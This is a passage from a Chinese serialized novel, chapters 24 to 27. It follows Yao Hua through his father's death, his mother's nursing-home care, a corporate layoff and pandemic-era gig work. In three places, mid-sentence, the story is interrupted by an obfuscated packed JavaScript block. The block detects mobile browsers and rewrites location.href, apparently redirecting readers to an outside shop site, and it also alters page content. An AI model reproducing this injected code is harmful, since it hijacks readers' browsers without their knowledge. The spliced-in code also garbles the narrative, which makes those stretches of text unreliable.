窗台上又落了片叶子,跟刚才那片做伴。 终于,张玉芬开口:“也好。” 姚华等着。他知道母亲说话像熬粥,得慢慢来。 “他算解脱了。”张玉芬说,还是不抬头,“不用喝酒了,不用遭罪了,不用……拖累人了。” 她说得慢,一个字一个字往外挤,像在掂量每个字该值几分钱。 牌洗好了,她开始理。一张张对齐,在桌上磕整齐。然后抽出一张——是大王牌,小丑脸笑得咧到耳根,没心没肺的。 她用左手捏着那张牌,拇指摩挲小丑的笑脸。一下,一下,轻轻的,像在擦什么宝贝。 “后事办了吗?”她问。 “办了,最简单的。” “花多少钱?” “三千八。” “哦。”张玉芬说,“不便宜。” “骨灰寄存了,一年两百。” “嗯。” 她还在摩挲那张大王。小丑脸被摩挲得发亮,油光光的,像涂了层猪油。 “你……”张玉芬抬起头,看姚华,“你没事吧?” “没事。” “别硬撑。” “没硬撑。” 张玉芬又低头看牌。她把大王插回牌堆,重新洗。这回快了些,牌在手里翻飞,虽然笨拙,倒有了点节奏,像生锈的机器又转了。 “你爸这辈子……”她开口,又停住。牌洗好了,她开始发,给自己发,给空椅子发,发了四份,一人一份,公平。 “他这辈子,”她接着说,眼瞅着牌,“就想当个明白人。可活到死,也没明白。” 姚华没吭声。看着母亲发牌,四份,整整齐齐,跟分家产似的。 “年轻时想当技术工人,没当成,不明白为什么。”张玉芬拿起自己那份牌,一张张看,像在看命,“下岗了,不明白为什么。你妈我卖书卖考试卷子,他喝酒,不明白为什么。最后死了,估计也不明白为什么。” 她把牌放下:“其实哪有那么多为什么。活着,就是活着。死了,就是死了。像这牌,抓到手是好是坏,都得打。” 她说得淡,淡得像说隔壁老王家的事,淡得像白开水。 姚华忽然想起多年前,父母吵架。父亲摔东西,母亲不说话,就看着他摔。摔完了,母亲扫地,把碎片扫起来倒垃圾桶。全程没话,像在看别人家吵架。 现在也是。丈夫死了,她不哭不闹,就洗牌。 兴许眼泪早流干了,流成了护城河。兴许恨早耗尽了,耗成了煤渣。兴许,真像她说的——解脱了,解脱了也好。 “妈,”姚华说,“您……不难过?” 张玉芬抬起头,看他。看了好久,然后笑了——那个半边脸的、怪怪的笑,像半张脸在哭。 “难过?”她说,“难过给谁看?给你看?给李姨看?还是给墙看?” 她指指墙:“墙不会说话。不会说话的东西最实在,不骗人。” 姚华顺着她手指看去。墙上白白净净,啥也没有,但好像又啥都有。 “华子,”张玉芬又说,“你记住。人这一辈子,哭啊笑啊,都是给别人看的。自己心里那点事,自己知道就行。说出来,没人懂,懂了也没用。” 她把牌收起来,重新洗。“就像这牌,”她说,“你看着我在玩,其实我在算账。算我还能活几年,算你要花多少钱,算这养老院我还能住多久。” 牌在她手里翻飞。“但这些,我不说。说了,你也解决不了。何必呢?就像你爸,一辈子想弄明白的事,到死没明白——可明白了又能咋的?” 姚华喉咙发紧。他想说“我能解决”,但话到嘴边卡住了。因为真解决不了。养老院一个月三千四,他工资五千二,房贷两千四。剩两千八,不够三千四。差六百。每月差六百。 这六百,得从牙缝里省,从加班费里凑,从借呗里借,像凑一副顺子,总少一张。 但他没说。就像母亲说的,说了,也解决不了。解决不了的事不说,这是他们老姚家的家训。 “妈,”他最后说,“我会想办法。” “想什么办法?”张玉芬笑了,“抢银行啊?就你这胆儿?” “不是……” “行了。”张玉芬摆摆手,“你好好上班,别老请假。请假扣钱,我知道。钱比人实在,钱不说话,但管用。” 她又开始洗牌。洗了一遍又一遍,不厌其烦,像在洗人生的牌。 姚华坐了一会儿,起身:“我去洗苹果。” “去吧。” 他拿苹果去水房。水房有个老太太在洗手,洗得慢,水哗哗流,流的是钱。姚华等她洗完,才过去洗苹果——省水,也是省钱。 苹果红彤彤,表面打了蜡,滑溜溜,像抹了油。他一个一个洗,洗得仔细,像在给苹果洗澡。 洗完了,回去。张玉芬还在洗牌。他削皮,切块,插上牙签。牙签一根根,像小旗子。 “吃苹果。” “嗯。” 张玉芬吃了一块,慢慢嚼。“甜。” “嗯。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119431|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比你爸买的甜。”她说,“你爸买的苹果,都是处理的,有疤的。他说疤是糖心,其实是抠。” 姚华没接话。他知道父亲买的都是最便宜的,有疤的,烂一点的。因为便宜。便宜就是道理,其他都是瞎扯。 两人一个吃苹果,一个洗牌。屋里静,只有咀嚼声和洗牌声,两种声音搅在一起,竟有点和谐。 窗外天暗了。姚华看表,四点五十。 “我得走了,妈。” “走吧。”张玉芬说,“路上慢点。慢点不费油,省油就是省钱。” 姚华站起来,走到门口,回头看了一眼。母亲还坐在轮椅上,左手拿着扑克牌,一张一张地看。阳光斜照进来,照在她身上,照在那些扑克牌上。 牌面反光,亮晶晶的,像眼泪,但没掉下来。 他关上门,轻轻带上。 走出养老院,天还没黑透。他在门口站了一会儿,点了支烟。烟是便宜的,呛,但解乏。 烟抽到一半,护工小刘出来了。小刘三十多岁,干活麻利,说话直,直得像擀面杖。 “姚哥,你妈今天……”她欲言又止,话在嘴里转了个弯。 “怎么了?” “也没什么。”小刘说,“就是晚上……她对着墙说话。” 姚华一愣:“说什么?” “听不清。”小刘说,“就是嘀嘀咕咕的,说了半夜。我进去看,她就停了。我问她跟谁说话,她说跟墙。” 小刘顿了顿:“但那个语气……不像自言自语。像在吵架。” “吵架?” “嗯。”小刘点头,“声音不大,但很凶。像在骂人,骂得还挺花哨。” 姚华想起母亲下午说的话:“墙不会说话。” 原来她在跟墙说话。或者说,在跟墙那边的人说话。墙那边是谁?父亲?还是过去的自己?还是没还清的账? 不知道。知道了也没用。 “姚哥,”小刘又说,“你妈其实……挺苦的。但她不说,就憋着。憋久了,就容易这样,跟墙吵,跟牌吵,跟空气吵。” “我知道。” “你多来看看她。” “嗯。” 小刘走了。姚华把烟抽完,烟蒂扔垃圾桶。扔得准,一下进去了,像中了彩。 天全黑了。路灯亮起来,一盏一盏,延伸到远方,像另一副摊开的牌。 他想起母亲洗牌的样子,想起她摩挲大王的样子,想起她说“他算解脱了”的样子。 然后想起小刘说的:“像在吵架。” 是啊,怎么可能不吵呢?吵了一辈子,吵成了习惯,吵成了日子。怎么可能因为人死了,就不吵了?死是死,吵是吵,两码事。 那些没吵完的架,没说完的话,没算清的账,都还在。 在墙上,在扑克牌上,在夜里对着墙的嘀咕里。在苹果的疤上,在洗牌的声音里,在省下的六百块钱里。 永远在。在才是生活,不在是童话。 他走向公交车站。影子拖在身后,很长,很长,像另一副扑克牌,摊在地上,等着谁来洗。 但没人来洗。洗牌的人自己还在牌里。 只能自己洗,一张一张,一遍一遍。 洗到牌磨破了,洗到手指磨破了,洗到再也洗不动为止。 然后呢? 然后下一副牌。牌局不散,洗牌的人换了一茬又一茬。他们家这副牌啊,从老爷子那辈就抓得不好,到姚华这儿,还是那手烂牌。可烂牌也得打不是?王炸没有,对子也少,单张倒是一大把。那就一张一张出吧,出到哪儿算哪儿,出完拉倒。 反正扑克牌不说话。 它只看着你洗,看着你打,看着你输,看着你赢——虽然赢的时候少。 但它从不说话。 不说话的东西最实在,也最伤人。 25. 第二十五章 遗产博览会 整理遗物这事儿,姚华拖了俩礼拜。先是公司忙,戴经理接了新项目,整个部门跟着点灯熬油。接着养老院那头又传信儿,说母亲感冒了,发烧,他医院跑了三趟。 真动手收拾,是九月第三个星期六。早晨飘了点雨星子,空气潮得能捏出水。姚华坐公交去盐坨村,车上人稀,司机开得野,颠得他肠子都快搅到一块儿。 老屋还是老样儿,门虚掩着——上次丧事办完就没锁。推门进去,那股味儿淡了点,可还赖着不走。霉味儿,灰味儿,掺着一丝游魂似的酒气,在屋里打着旋儿。 他在门口杵了三分钟。屋里摆设照旧:床,桌子,椅子,炉子。父亲人没了,东西却都在,像是主人只是出门打酒,随时会撩帘子进来。 开始吧。 先从桌子下手。桌面上堆着杂货:几个空药瓶,半包返潮的烟,一个搪瓷缸子,茶垢糊得比盔甲还厚。姚华一股脑扫进垃圾袋,动作麻利得像宾馆服务员清房。 抽屉有三个。第一个里头是工具:一把锈钳子,半卷黑胶布,几颗钉子。父亲这辈子唯一称得上“手艺”的,就是修修补补,可修什么都修不好。暖气修了照漏,椅子修了照晃,连自己那摊人生也修得七零八落。 第二个抽屉装纸张。各种单据,电费水费条子,最老那张能追到2005年。还有几张奖状,是姚华小学得的,“三好学生”“优秀少先队员”。父亲竟留着,拿塑料袋套好,压得平平展展。 拉开第三个抽屉,姚华愣住了。 是挂历。一本摞一本,码得齐整。他数了数,十四本。最早那本是1998年,封面上香港回归的紫荆花金灿灿的;最晚到2011年,印着个衣裳单薄的美人,笑得像个假人。 每本都翻在十二月那页。有的日子画了圈,有的旁边缀了字。1999年12月31日,圈旁边写:“新世纪”。2008年8月8日,圈旁边写:“奥运”。2010年12月31日,圈旁边写:“又一年”。 全是父亲的笔迹,歪歪扭扭,小学生似的。 姚华一屁股坐地上,一页页翻。挂历纸黄了脆了,得小心着捻,生怕一使劲就碎成末儿。每翻一页,就是一个月份,三十天,父亲又老去一个月。 翻到2005年7月。15号那天画了个圈,没写字。姚华想了半晌,记起那是母亲头一回脑出血的日子。父亲画了圈,却没写“妻病”,也没写“住院”。就一个空圈,像句说了一半咽回去的话。 他把挂历放回抽屉,没扔。扔了,那些圈就没了,那些日子也就真过去了。 桌子底下有个绿铁皮盒子,漆掉了一半。打开,里头是粮票。全国通用的,河北省的,天津市的。面额有一斤、半斤,还有二两的。粮票旧得边儿都起毛了,有些还黏在一块。 姚华想起小时候,母亲拿粮票换鸡蛋。五斤粮票换十个蛋,她舍不得全换,只换五个,煮熟了全塞给他,自己啃咸菜疙瘩。 如今粮票没用了,像父亲的人生,过了期。 盒子底层还有东西。是饭票,包子铺的。七张,淡黄色,印着包子图案。饭票更糟,一碰就掉渣。姚华捏起一张对着光,还能瞧见里头的水印。 父亲在包子铺干了一辈子——如果三天打鱼两天晒网也算一辈子的话。末了下岗,买断工龄,拿了两万块钱。两万块,喝了,输了,不知去向。 饭票还在,包子却吃不上了。 他把铁盒搁回桌底。继续翻。 床底下有个柳条箱,条子都黑了。拽出来,一开,樟脑丸的味儿冲鼻子。里头是衣裳,冬棉夏单,叠得方正正——是母亲的手笔,父亲没这耐心。 衣裳底下有个布包袱。解开,是一本书,选集第四卷。书挺厚,红皮金字。姚华翻开,纸页黄了,却干干净净,没落灰。 书里夹着一张照片。 黑白照,三寸大小。边角是锯齿状的,老式照相馆的剪法。照片上一男一女,并肩站着。男的穿中山装,扣子扣到顶,领子有点歪;女的碎花衬衫,两条辫子,辫梢扎着橡皮筋。 是父母。结婚照。 姚华从没见过这照片。他凑近了瞅。父亲那时真年轻,顶多二十五六?脸上没褶子,头发密实。母亲也年轻,眼睛大,嘴角微微翘着,像在笑,又像绷着。 两人站得笔直,肩膀挨着,却没真靠上。中间一道缝,细,但看得见。表情也僵,像被人拿枪顶着后腰硬按在那儿拍的。 照片背面有字,钢笔写的,褪色了还能辨出:“1979年10月1日,结婚留念。” 1979年。姚华算了算,那年父亲二十五,母亲二十三。他还没出生。他们刚结婚,刚分到银行里那间房,刚觉得日子有奔头。 然后呢? 然后就是四十年。四十年吵,四十年忍,四十年一个灌酒一个卖书,四十年最后一个人死老屋一个人住养老院。 四十年,就为了照片上这一瞬间。 姚华把照片夹回书里,塞回柳条箱。他坐地上,背靠床沿,点了支烟。 烟抽到半截,他瞧见床腿边还有个物件儿。是个紫檀色小木盒,精致得跟这破屋格格不入。 打开,是块表。 银箭牌电子表,白表盘,罗马数字。表盘裂了,从当间劈到边儿,像道闪电。指针停在四点十七分。秒针定在十二点。 表挺沉,握手里冰凉。姚华翻过来看,背面刻着字:“奖给姚建国同志。1981年。” 1981年。父亲二十七。还在包子铺,还没那么贪杯,还能得个奖。 这表,兴许是父亲这辈子唯一的荣光。然后呢?然后表停了,裂了,扔床底下跟垃圾做伴。 姚华试着上弦。表冠紧,拧不动。他使了劲,终于转开了,一圈,两圈,三圈。 松手。 秒针动了。挣扎着,跳了一下。就一下,然后定住。永远停在十二点。 他又拧,拧了二十圈。再松。 秒针又跳一下。还是一下。 他拧,松,拧,松。重复了十来回。每回秒针都只蹦一下,像人临死前最后一口气。 最后他放弃了。把表收回木盒,盖好盖子。 这就是父亲留下的全部家当: 十四本过期挂历,记着他数过的日子。 一铁盒过期粮票,记着他挨过的饿。 七张过期饭票,记着他混过的日子。 一张黑白结婚照,记着他败了的婚姻。 一块停了的表,记着他唯一的光彩时刻。 没有钱,没有房,没有金银细软。只有这些破烂,这些废物,这些“过了期”的玩意儿。 姚华站起来,腿麻了,踉跄一下。他环顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119432|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一屋子东西,忽然想笑。 笑父亲,笑自己,笑这扯淡的人生。 父亲攒了一辈子,攒下这些。他呢?他攒了什么?攒了一叠房贷单,一叠借呗账单,一叠养老院缴费单。 都一样。都是“遗产”。都是蹬腿之后,别人看了直摇头的东西。 他开始收拾。该扔的扔垃圾袋,该留的装箱子。挂历留下了,粮票留下了,饭票留下了,照片留下了,表留下了。 扔了,就真什么都不剩了。 至少这些能证明,父亲活过。虽然活得憋屈,但总归活过。 收拾停当,天已擦黑。他拎着两个垃圾袋,抱一个纸箱,迈出屋门。 关门时,他回头瞥了一眼。屋里空了,床空了,桌子空了,抽屉空了。像从来没人住过。 可那股味儿还在。霉味儿,灰味儿,酒味儿。 那是父亲的味儿。人死了,味儿还赖着。 他走到村口,把垃圾袋扔进桶里。纸箱抱在胸前,等公交。 车来了,他上去。车上人少,他坐最后一排,纸箱搁旁边座上。 车开了。窗外盐坨村慢慢往后挪,变小,最后消失在夜色里。 就像父亲,慢慢退远,变小,最后消失在记忆里。 但纸箱在。那些挂历,那些粮票,那些饭票,那张照片,那块表。 都在。 证明他来这世上一遭。 证明他喘过气。 证明他,是个人。 虽然是个失败的人。 可谁不是呢? 姚华望着窗外,城市灯火唰唰掠过。 他想起那块表,停在四点十七分。 四点十七分,是什么时辰?早上?下午?还是某个要紧的时刻? 不知道。 永远不知道了。 就像父亲的人生,永远停在了某个点儿上。那点儿之后,全是下坡路。 一路往下出溜,溜到底,死在老屋里,三天没人发觉。 车到站了。他抱纸箱下车,往家走。 路灯把他影子拽得老长,长得像那些挂历,一本接一本,没个尽头。 到家,他把纸箱搁墙角。没打开,就那么放着。 然后洗澡,睡觉。 躺在床上,他想起父亲最后那副表情。安详的,像终于解脱了。 也许真是解脱。 不用再喝酒了,不用再懊悔了,不用再被生活碾来碾去了。 而他呢? 他还得接着来。接着还房贷,接着交养老院的钱,接着上班,接着喘气。 直到有天,他也留下一个纸箱。 里头装什么? 兴许是一沓房贷还款单,一沓借呗账单,一沓养老院缴费单。 还有一块表——要是他买得起的话。 指针会停在几点? 不知道。 但愿不是四点十七分。 但愿是……随便吧。 反正早晚都得停。 他翻个身,闭上眼。 窗外城市还在转,车流,灯光,人声。 像块巨大的表,永远在走,永远不停。 而他只是里头一颗小齿轮,转啊转,直到磨秃了齿,直到停摆。 然后被换掉。 没人记得。 26. 第二十六章 默剧散场 2019年12月20日,星期五,冬至前一天。天气预报说有雪,但一整天都是阴天,灰蒙蒙的,像没洗干净的脸。 裁员的消息是周一就传出来的。公司群里有人发了张照片,韩国总部来了三个人,穿黑西装,打深色领带,在会议室跟中国区高管开会。照片拍得模糊,但能看见桌上一沓文件,白花花的。 “要裁了。”老陈在茶水间抽烟,烟灰掉进咖啡杯里,“听说至少三分之一。” 姚华没接话。他端着杯子接热水,热水器咕嘟咕嘟响,像在叹气。 周三,名单出来了。不是正式通知,是人事部小张“不小心”发错群的文件。文件名是“年终优化名单”,打开看,一长串名字,按部门排。姚华在技术部那栏找到了自己,名字后面跟着数字:38。三十八岁,工龄十二年,赔偿金按N+1算。 他看着那个数字,看了很久。三十八,跟年龄一样。十二年,够一个孩子从小学到高中毕业。 周四,戴经理找他谈话。办公室的百叶窗拉上了,光线被切成一条一条的,像监狱栏杆。 “姚华,坐。”戴经理指指椅子。他自己没坐办公椅,拉了把普通的椅子,跟姚华面对面。这个细节让姚华觉得有点可笑——装什么平等。 “公司的情况你也知道,”戴经理开口,声音很平,“韩国那边业务收缩,中国区要优化结构。” 优化。这个词用得好,像把裁员说得跟电脑清理垃圾文件一样。 “技术部留一半,裁一半。”戴经理递过来一张纸,“这是补偿方案,你看看。” 纸是A4纸,打印的,字很小。姚华眯着眼看:基本工资×12×2,再加三个月工资作为“特别补偿”。算下来,大概八万多。 “下周办手续,一月底前离岗。”戴经理说,“有什么要求,现在可以提。” 姚华想了想:“我能干到月底吗?” “为什么?” “凑个整月,社保不断。” 戴经理愣了一下,然后点头:“行。” 谈话结束,一共七分钟。姚华走出办公室,走廊里很安静,没人说话。大家都知道了,但都装不知道。像一群等待宣判的犯人,互相不看眼睛。 周五,正式签协议。会议室里摆了长桌,韩国代表坐一边,中国员工坐一边。韩国代表有三个人,中间那个五十多岁,头发梳得油亮,戴金丝眼镜。他站起来,先鞠了个躬,九十度,很标准。 “各位同事,”他说中文,有口音,“非常抱歉。公司做出这个艰难的决定……” 姚华看着他的嘴,一张一合,像鱼。话都是套话,什么“市场环境”,什么“战略调整”,什么“感谢付出”。听着听着就走神了,想起小时候看朝鲜电影,里面的人说话也这个调调。 讲完了,人事部开始发协议。一人一份,装在牛皮纸袋里。打开看,印刷精美,铜版纸,还烫了金边。补偿金额用加粗字体标着,很显眼。 签字笔是统一的,黑色,笔杆上印着公司logo。姚华拿起笔,手有点抖。不是激动,不是难过,就是抖,像冷的。 他翻到最后一页,签名栏。名字,身份证号,日期。日期空着,他写:2019年12月20日。 写完了,递回去。人事部小姑娘接过去,检查了一下,点点头,放进另一个文件夹。 整个过程没人说话。只有翻纸的声音,写字的声音,空调出风的声音。像场默剧,演员们按剧本走,不说台词。 签完的人陆续离开。姚华没走,他坐在那儿,看着桌子。桌子是实木的,很厚,桌面有划痕,不知道是谁划的。他看着那些划痕,一条一条,像人生的皱纹。 会议室里人越来越少。最后只剩下他和另一个技术部的老刘。老刘四十五了,头发白了一半。他签得很慢,一笔一画,像在刻碑。 签完了,老刘站起来,走到姚华旁边,拍拍他肩膀:“走了。” “嗯。” 老刘走了。会议室空了。 姚华还是没动。他看着对面墙上那幅画,是抽象画,一堆色块,看不懂画的是什么。公司花大价钱买的,说是提升格调。现在公司要裁人了,画还在那儿,看不懂的还是看不懂。 他忽然想起自己的工位。十二年,同一个位置。桌上那盆绿萝,是他刚来时买的,十块钱,从花卉市场抱回来的。那时候绿萝很小,只有几片叶子。现在爬满了隔板,垂下来,像绿色的瀑布。 他想去看看那盆绿萝。 走回技术部,大部分工位已经空了。电脑关了,椅子推了进去,像没人坐过。他的工位还在那儿,绿萝还在那儿。 他坐下来,打开电脑。屏幕亮了,需要输入密码。他输了,错了。又输,又错。第三次才输对——手抖,按错了键。 电脑桌面是默认的蓝天白云。他一个个关掉图标:工作文件夹,项目文档,代码编辑器。关到最后一个,是报销系统,里面还有一张出租车票没报,二十三块钱。 他点了提交,系统提示:流程已提交,等待审批。 等不到了。下周一,他的账号就注销了。 关掉电脑,屏幕黑了,映出他的脸。三十八岁,眼角有皱纹了,鬓角有白发了。像父亲,像母亲,像所有被生活磨糙了的人。 他转头看那盆绿萝。绿萝长得很茂盛,叶子油绿油绿的。但最下面那片叶子黄了,边缘卷曲,像烧焦的纸。 他伸手去摸,叶子脆了,一碰就碎。碎屑落在键盘上,黄黄的。 十二年,就换来这片黄叶。 他站起来,开始收拾东西。其实没什么可收拾的:一个水杯,几本书,一个充电器,还有那盆绿萝。书是技术书,都旧了,纸黄了。他翻了翻,里面还有当年做的笔记,字迹很工整,像另一个人写的。 把东西装进纸箱,不大,半箱都不到。绿萝不好装,他抱着。 走出公司,电梯里没人。镜子里的自己抱着纸箱,抱着绿萝,像个搬家工人。 一楼大厅,前台小姑娘在玩手机,抬头看了他一眼,又低下头。她认得他,但没说话。裁员时期,最好别说话,说多错多。 走出大厦,天已经黑了。风很大,吹得纸箱哗啦响。他站在门口,不知道该往哪儿走。 回家?回家干什么?看电视?发呆? 他想起父亲。父亲下岗那天,是不是也这样?抱着个纸箱——或者连纸箱都没有——站在包子铺门口,不知道该往哪儿走。 父亲后来去了海河。姚华记得,那天晚上父亲很晚才回来,一身酒气,但眼睛很亮。他说:“华子,爸今天沿着海河走,一直走,走到没路了。” “然后呢?” “然后回头,走回来。” 那时候姚华不懂。现在懂了。 就是想一直走,走到世界尽头。走到没路了,也许就轻松了。但世界没有尽头,路永远有,只是你不愿意走回头路。 可最后都得回头。都得走回来,回到那个破家,回到那个要吃饭的肚子,回到那个还得活下去的现实。 姚华抱着纸箱,抱着绿萝,开始走。 沿着街道走。路过小卖铺,进去买了个玻璃瓶汽水。收银员问:“要袋子吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119433|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不用。” “一块钱押金,瓶子还回来退。” “嗯。” 他拿着水出来,继续走。路过一家房产中介,橱窗里贴着房价:每平米三万起。他算算自己的存款,加上赔偿金,大概能买三平米。一个厕所那么大。幸好自己的限价房已经批下来了,虽然是期房还不能住,但月月要按照规定时间还贷款。 路过养老院。福寿康宁四个字亮着灯,那个掉了撇的“寿”字,在黑夜里特别显眼——福寸康宁。 母亲在里面,一个月三千四。 他现在没工作了,三千四怎么交? 不知道。 先走着吧。 走过二中门口,放学时间过了,没人。卖煎饼果子的摊子还在,摊主在收摊,把工具一件件往三轮车上搬。 走过望海楼,教堂的尖顶在黑夜里像把剑。 走过银行里,筒子楼亮着灯,一格一格的,像骨灰盒寄存处的架子。 他一直走,走到海河。 河边风更大,吹得绿萝叶子哗啦啦响。他把纸箱放在长椅上,自己坐下。对面是天津站,钟楼亮着灯,指针在走,一圈一圈。 父亲当年坐在这儿的时候,想什么? 想未来?想怎么活下去?还是想,干脆跳下去? 不知道。 姚华打开水,喝了一口。水是凉的,凉到胃里。 他拿出手机,看了看时间,八点十七分。 又看了看银行短信。余额:32476.52。 三万多。加上赔偿金八万多,一共十一万多。 能撑多久? 养老院一年四万,房贷一年两万八。加起来六万八。还剩四万多。 四万多,够活一年?如果省着点,也许。 然后呢? 然后就得找新工作。三十八岁,被裁的,能找到什么工作? 不知道。 他又喝了一口水。水快喝完了。 河面上有船在走,观光船,亮着彩灯,船上有音乐,飘过来,断断续续的。 “甜蜜蜜,你笑得甜蜜蜜……” 甜蜜蜜。父亲爱唱这歌,喝醉了就唱,跑调跑得厉害。 姚华忽然想,父亲下岗那天,坐在这儿,是不是也哼歌?哼什么歌?《国际歌》?《咱们工人有力量》? 还是《甜蜜蜜》? 不知道。 永远不知道了。 就像父亲不知道,二十年后,儿子也下岗了,也坐在这儿,也想一直走到世界尽头。 这就是轮回。一代一代,下岗,失业,走投无路,坐在河边,想走到世界尽头。 但世界没有尽头。 只有河,流啊流,流到海里去。 海里就有尽头吗? 不知道。 姚华站起来,抱起纸箱,抱起绿萝。 回头,往家走。 风还在吹,吹得他睁不开眼。 但他得走。 因为不走,就真的停了。 而他还不能停。 母亲还在养老院,一个月三千四。 房贷还要还,一个月两千四。 他得走。 一直走,走到走不动为止。 走到像父亲那样,走到最后,死在老屋里,三天没人知道。 但现在,还得走。 路灯把他的影子拉得很长。 长得像那条河,弯弯曲曲,看不到头。 他走着。 一步一步。 像父亲当年那样。 走回来。 27. 第二十七章 打水漂的日子 二零二零年春天,疫情来了。这事说来有意思——姚华失业后的第三个月,世界忽然静了,静得像被人捂住了嘴。街上不见人影,店铺都锁着铁门,那把锁比老板的脸还板正。公交车像被抽走了魂,半小时才晃过一辆,空荡荡的车厢里,司机一个人坐着,像给自己开追悼会。姚华坐在出租屋里,看着窗外那条熟悉的街道。如今空得陌生,连流浪狗都不见了——狗也懂得避险,知道这年头出来晃不划算。晾在窗台上的衬衫三天没干,摸上去潮乎乎的,像能拧出水,拧出来的大概是日子的涩味。 失业保险金每月一千六,雷打不动。月初那天的上午十点零七分,手机准时“叮”一声。这声音比闹钟准,比亲戚的问候勤。短信来了:“您尾号3476的账户收入1600.00元,余额17893.21。”他把那串数字看了三遍,从前往后看,又从后往前看。看来看去,数字不会多,也不会少,像个老实的呆子。一千六,不够养老院半个月的费用,不够房贷月供的三分之二——两千四的月供,还差八百整。这八百块钱像个门槛,跨不过去,你就得在门外蹲着。 得找活干。 他在应用商店里搜“零工”,跳出来十几个。名字起得都挺豁达:“乐干”“随手赚”“快活帮”。最后选了那个“快活帮”,名字起得像个玩笑。人活得不大快活,倒要去快活帮,这事本身就有意思。注册要填二十二项信息,从姓名到血型,从学历到婚姻状况——婚是结了,又离了,这该怎么算?上传身份证正反面,人脸识别时系统总提示“光线不足”。他举着手机在屋里转了一圈,像个探照灯,最后站在窗边才通过。绑银行卡时,手抖了一下,输错两次密码。不是记性不好,是心里发慌,慌得像做贼。 系统自动派单,像发牌,发到什么是什么。没有挑选的余地,只有接或不接。不接三次,当天就不能再接了——规矩是别人定的,你只能遵守。 第一单是写公众号文章。雇主头像是个莲花座,昵称叫“往生缘”。点开详情,是卖墓地的。题目叫《百年之后,何处安放》,要求倒简单:一千字,正能量,不能提价格,不能让人觉得晦气。这要求不简单——让人买墓地还得高兴,好比让人吃药还得说甜。 姚华对着电脑坐了三个小时,烟灰缸满了。写了删,删了写,最后凑出一篇:春天来了,万物复苏,生命如四季轮回,提前规划是对家人的负责,是爱的延续。写完自己从头读一遍,觉得假,像给死人化妆,粉抹得再厚,底下还是冷的。但冷也得写,好比饭馊了也得吃,不吃饿。 发过去,十分钟后回复:“能用。八十块,已支付。” 手机又“叮”一声,八十到账。他算了一笔账:三小时八十,时薪二十六块六。比失业金强点,但平台要扣税,说是代扣,二十块整。最后到手六十,刚够买两包烟、三斤挂面。烟能解乏,挂面能顶饿,别的就不敢多想了。 第二单是数据标注。给人工智能训练用的,识别图片里的猫狗。一千张图,猫打1,狗打2,分不清的打0。一毛钱一张,全对奖二十。这奖像挂在驴眼前的胡萝卜,看得见,吃不着。 从早上八点干到晚上十点,眼睛看花了。有些图模糊得像隔了层雾,有些只拍了个尾巴尖,有些既像猫又像狗——耳朵像猫,尾巴像狗,眼神像在嘲笑他。标到第五百张时,他停下来,盯着屏幕上一只橘猫。猫躺在沙发上,肚皮圆滚滚的,旁边有个空了的猫罐头。他忽然想:这猫有人养,有人疼,我连自己都养不活。人活得不如猫,这事不新鲜。 一千张标完,手指僵了。提交后,系统三秒就出了结果:错了七十三张。扣七块三,实得九十二块七。奖金那一栏是灰色的,旁边有个红叉。那叉打得理直气壮,像老师批改作业。 第三单最荒唐:帮人排队买奶茶。店在大学城,网红店,限购,一人两杯。雇主是情侣,要四杯,自己懒得排,出五十块跑腿费。五十块钱买两小时,这账怎么算?有人觉得值,有人觉得不值,全看你站在哪边。 姚华早上七点去,队伍已经从店门口排到了街拐角,还打了两个弯。都是二十出头的年轻人,戴着各式口罩,低头看手机。他站在队伍里,像个异类——四十岁不到,头发白了一半,穿一件洗得发灰的夹克,手里还拿个破记账本。那本子记的是账,也是日子。 前面两个女孩在聊天,声音隔着口罩传出来,闷闷的: “你这月花呗还了没?” “没呢,又分期了。” “我也是。这奶茶真贵,三十一杯。” “贵也得喝,不然拍照没东西发朋友圈。” 姚华听着,心里默算:三十一杯,四杯一百二。加跑腿费五十,一共一百七。够他买三天的菜——土豆、白菜、豆腐,还能剩点买鸡蛋。算账这事,越算心里越凉。 排了两小时十七分钟,轮到他了。店员是个二十来岁的小姑娘,画着精致的眼线,眼皮都没抬:“什么口味?” “两杯波霸奶茶,两杯芝士奶盖。” “糖度冰度?” “……正常。” “正常是几分糖?” 姚华愣了。他不知道,雇主没说。后面的人开始催:“快点啊,都等着呢!”声音不大,但刺耳,像针尖。 他掏出手机打电话,铃响八声,没人接。店员不耐烦了,手指在收银台上敲:“要不您让让,下一个。” 他只好瞎说:“都……都正常吧。” 提着四杯奶茶坐公交,晃了十二站。塑料袋子勒手,他在手心垫了张纸巾,还是勒出了红印。到地方,雇主在小区门口等。男的穿着睡衣,头发乱得像鸟窝,接过奶茶,看了看标签:“我要的是少糖去冰,你这都正常啊。” “您电话没接……” 